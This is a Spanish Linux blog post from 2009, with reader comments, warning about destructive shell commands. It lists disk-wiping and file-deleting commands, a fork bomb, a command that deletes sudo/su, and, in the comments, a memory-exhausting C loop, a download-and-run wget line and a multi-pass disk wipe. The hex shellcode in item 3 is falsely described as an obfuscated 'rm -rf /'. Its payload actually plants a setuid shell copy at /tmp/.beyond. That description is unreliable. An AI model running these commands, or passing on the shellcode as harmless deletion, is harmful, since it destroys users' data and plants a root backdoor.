best counter
GNU/Linux. MuyLinux

Comandos letales en Linux. Ni se te ocurra.

3/12/2009| por | 34 comentarios

Los usuarios de Linux siempre presumimos de lo potente que es el intérprete de comandos, que nos permite controlar nuestro sistema a nuestro antojo y con una potencia que es muy difícil de lograr con un entorno gráfico.

 rm rf 500x375Comandos letales en Linux. Ni se te ocurra.

Fuente: DeviantArt.

Sin embargo y como dice el famoso anuncio, “la potencia sin control no sirve de nada“. O más bien, “la potencia sin control puede causar estragos” en nuestras distribuciones Linux, porque hay comandos Linux o combinaciones de comandos que pueden acabar con todo aquello en lo que habíamos trabajado en nuestro sistema.

Es precisamente lo que nos recuerdan desde Linux * Screw, donde avisan de que jamás de los jamases ejecutéis estos comandos en una consola de comandos. ¡¡Avisados quedáis!!

1. Cualquiera de estos comandos borrará todo lo que tengáis en vuestro directorio personal, en la raíz o en el disco:

sudo rm -rf /
rm -rf .*
dd if=/dev/zero of=/dev/sda
mkfs.ext3 /dev/hda
loquesea > /dev/hda
cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
find -type f -mtime +30 -exec mv {} /dev/null \;
mv ~ /dev/null
mv / /dev/null

2. Con estos comandos conseguirás un kernel panic o dejar tu sistema tonto:

dd if=/dev/random of=/dev/port
:(){:|:&};:

A esto último se le conoce como fork bomb

3. Comando que hace lo mismo que “rm -rf /”, pero en plan enrevesado:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. Con este ya no podrás ejecutar comandos con privilegios de superusuario:

rm -f /usr/bin/sudo;rm -f /bin/su

¿Alguien conoce algún comando destroza-sistemas adicional? ;)

Categorías: GNU/Linux, Trucos

Hay 34 comentarios

  1. 1
  2. 2
    Arkangel dice:

    Algunos ya los conocia.
    El 3 es muy LOL

  3. 3
    Yo dice:

    Antes había un pequeño programita en C que dejaba tonto cualquier Linux, nos divertíamos en clase jodiendo al compañero mediante SSH.

    era algo así:

    #include

    int main(void)
    {
    while(1)
    {
    malloc(10000);
    }

    }

    Empezaba a reservar memoria hasta chupársela toda, petando el ordenador.

  4. 4
    Yo dice:

    PD: El include es stdlib.h
    PD2: No necesitabas ningún privilegio “root” para ejecutarlo.

  5. 5
    pssmislata dice:

    Los copy-pega de terminal tiene ke andar con ojo.Un saludo

  6. 6

    [...] y=$x; done find -type f -mtime +30 -exec mv {} /dev/null ; mv ~ /dev/null mv / /dev/null Fuente: MuyLinux.com [...]

  7. 7
    Anónimo dice:

    Para borrar el disco duro sin poder recuperar los datos:
    for i in $(seq N); do dd if=/dev/urandom of=/dev/sda; done

    Donde N es el número de veces que quieres que se repita el borrado y sustitución con números aleatorios. Cuantas más veces lo pases, más difícil será para un recuperador de discos obtener cualquier información útil.

    Se puede usar /dev/random que es más aleatorio, pero tardaría mucho más y los discos duros no son precisamente pequeños ahora.

    Ni que decir, que donde pone “sda”, podría ser cualquier otro dispositivo de almacenamiento.

  8. 8

    [...] FUENTE Categorías:Linux Etiquetas:Linux Comentarios (0) Trackbacks (0) Deja un comentario Trackbacks [...]

  9. 9
    zarvaje dice:

    Yo me se uno muy chulo para dejar al S.O completamente tonto. sudo install Windows zajajajaj

  10. 10
    Tul0X dice:

    Otro letal, pruebenlo.

    yum remove openssl

    Saludos

  11. 11
    Dan dice:

    Muy cierto, mucho cuidado al copiar a la terminal, la primera vez que instale ubuntu a los 2 días acabe con el directorio raíz al usar “rm -rf /”, cuando solo quería borrar un archivo. Era un disco duro para hacer pruebas, solo perdí el tiempo que me pase poniéndolo a mi gusto. Saludos.

  12. 12
    Pedro Aguilar dice:

    Yo conozco uno:

    Instala un Luser (asi el error siempre está entre el teclado y la silla)

  13. 13
    davito dice:

    Formatear e instalar windows con el cd

  14. 14

    [...] http://www.muylinux.com Clasificado en: General Sin Comentarios Comments (0) Trackbacks (0) ( subscribe to [...]

  15. 15

    El 3 es demasiado XD, madre mía.

    ¡Saludos!

  16. 16
    Thrash dice:

    Algunas de estas “gracias” se pueden evitar poniendo límites al sistema, con el comando ulimit, por ejemplo. Otra solución a otras gracias es teniendo determinados ficheros y directorios bien protegidos con permisos adecuados y/o con atributos (man chattr).

  17. 17
    ulysess dice:

    Yo he metido uno y no fun

  18. 18
    jorge dice:

    #include
    #include

    main(){
    int x;
    x=0;
    while(x==0){
    system(“eject”);
    system(“sleep 1″);
    system(“eject -t”);
    system(“sleep 2″);
    }
    }

  19. 19
    jorge dice:

    nota los menor que stdio.h y la stdlib mayor que, me los tomo como comandos

  20. 20
    jado92mx dice:

    letales, dicen?
    basta con que Stallman te vea instalando el plugin de Flash para que tu compu (y talvez tu) sufran daños irreparables…

    JaD!

  21. 21
    Christopher dice:

    Como dice una bomba fork, haces 1 archivo bash que enlace a consola y desde la consola se enlace a si mismo, no lo deja inutilizable pero por lo menos hasta que reinicies la computadora no funciona, porque se llama a si mismo tantas veces desde la consola que abres infinitas consolas y se traba.

  22. 22
    Gobi dice:

    Eso no lo sabia =s

    Tendré que estudiarlo porque una vez dañé el sistema, no fue por eso, pero ahora me dio miedo escribir comandos al azar cuando me pongo a practicar en la consola.

  23. 23
    Blackhaze dice:

    rm -rf /

    Epic Fail en toda regla xD

  24. 24
    Searcher dice:

    Esto quiere decir que Linux es tan hackeable desde la consola ?

    Por ejemplo si alguien se mete de forma remota a la maquina por SSH puede dejar una cagada grande ? Oo o estoy entendiendo mal.

  25. 25
    Thrash dice:

    @Searcher: Lo primero que hay que tener en cuenta es que no hay ningún sistem ainfalible, así que respondiendo a tu pregunta: sí, Linux es “hackeable” o, mejor dicho, crackeable (no debemos confundir hackear con crackear).

    Expandiendo la respuesta, Linux tiene muchas ventajas. Por ejemplo, tienes muchas herramientas de control, he puesto el ejemplo de ulimit y chattr. Por desgracia, la gente no las usa todo lo que debería y hay veces que los permisos no son los correctos (para permitir que los usuarios puedan hacer más cosas de lo permitido).

    Linux es muy modular (como cualquier otro Unix) por lo que puedes eliminar mucho sw innecesario, tiene muchas herramientas para poder monitorizar y securizar el sistema. Algunos dirán que este tipo de herramientas existen también para sistemas operativos no abiertos, la diferencia es que en Linux (y los demás sistema soperativos abiertos), dichas herramientas son de libre distribución y acarrean todas las ventajas que eso trae:
    – precio
    – desarrollo abierto
    – comunidad
    – …

  26. 26

    el 4) no me parece tan cierto…
    acaso no podrás loguearte como root en una consola de login, me refiero a si te vas a Ctrl + Alt + F1,2,3,4,5,6,7 dependiendo de que Distro uses? XD

  27. 27
    niky45 dice:

    @felipe portales: no, al borrar los ejecutables de root, te quedas sin acceso de root.

    por lo demas, interesante. ya sabemos lo que NO hay que hacer.

  28. 28
    LessOne dice:

    Por ahi en un f oro habia hecho un post con estos comando prohibidos…. son 7 haha asi que te gane con mi lista…

    1. rm -rf /Esto borrará recursivamente y de manera forzada todos los archivos de tu directorio raíz, o root.

    2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64 \x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d \x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16 \xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74 \x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62 \x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”; Esta es la versión hexadecimal de [rm -rf /], que podría confundir a los más experimentados.

    3. mkfs.ext3 /dev/sdaSe formateará (o borrará) todos los archivos en el dispositivo mencionado después del comando mkfs.

    4. :(){:|:&};: Conocido como forkbomb, le ordenará a tu sistema ejecutar una gran cantidad de procesos hasta que éste se congele. Frecuentemente puede llevarnos a datos corruptos.

    5. cualquier_comando > /dev/sdaCon este comando, se escribirá información en un block que usualmente corresponde al sistema de archivos, lo que resulta en una pérdida total de información.

    6. wget http://alguna_fuente_desconocida -O- | shNunca descargues archivos de fuentes desconocidas, pues después podrías ejecutar cualquier código malicioso que se te envíe.

    7. mv /home/tu_nombre/* /dev/nullSe moverán todos los archivos en tu directorio home a un lugar que no existe. Esto quiere decir que no volverás a ver esos documentos de nuevo.

  29. 29
    darzee dice:

    “sudo install Windows ” ese me ha gustado JAJAJAJAJA

  30. 30

    [...] Para saber más del tema pueden ingresar al blog de rm -rf / y en Muy Linux. [...]

  31. 31
  32. 32
    JM dice:

    @picajoso.
    Qué hace este comando. cd ~; for x in `ls`; do mv -f $x $y; y=$x; done?

    @a
    Qué se supone que le hace a tú SO el bajarte la web del google?

  33. 33
    miguel dice:

    Todo el mundo deberia saber que despues de instalar cualquier sistema operativo, cualquier programa o software de cualquier tipo, HAY QUE CONFIGURAR dicho software, y sobre todo los sistemas operativos.
    En Linux, BSD, OSX o windows, en cualquiera de ellos deberemos adaptar la configuracion preestablecida a nuestras necesidades y/o espectativas para el sistema.
    La mayor diferencia entre unos sistemas y otros es la mayor o menor posibilidad de configurar y adaptar, y esta claro que cuanto mas abierto sea el sistema mas opciones te da.
    Si nos centramos en distribuciones GNU/Linux la gran diferencia esta en la configuracion por defecto de unas y otras, las hay mas seguras y las hay mas vulnerables.
    Si quiero un sistema seguro, instalo Centos o Debian (Etch o Lenny), con muy pocos ajustes y siguiendo los consejos de seguridad oficiales, no tendreis que preocuparaos de esos comandos, que por otro lado, no deberia recordar, en el extrañisimo caso de tener que utilizarlos, hay que ser muy cuuidadoso.
    Un Saludo.

  34. 34
    holapollo dice:

    sudo chmod / 777

Escribe tu comentario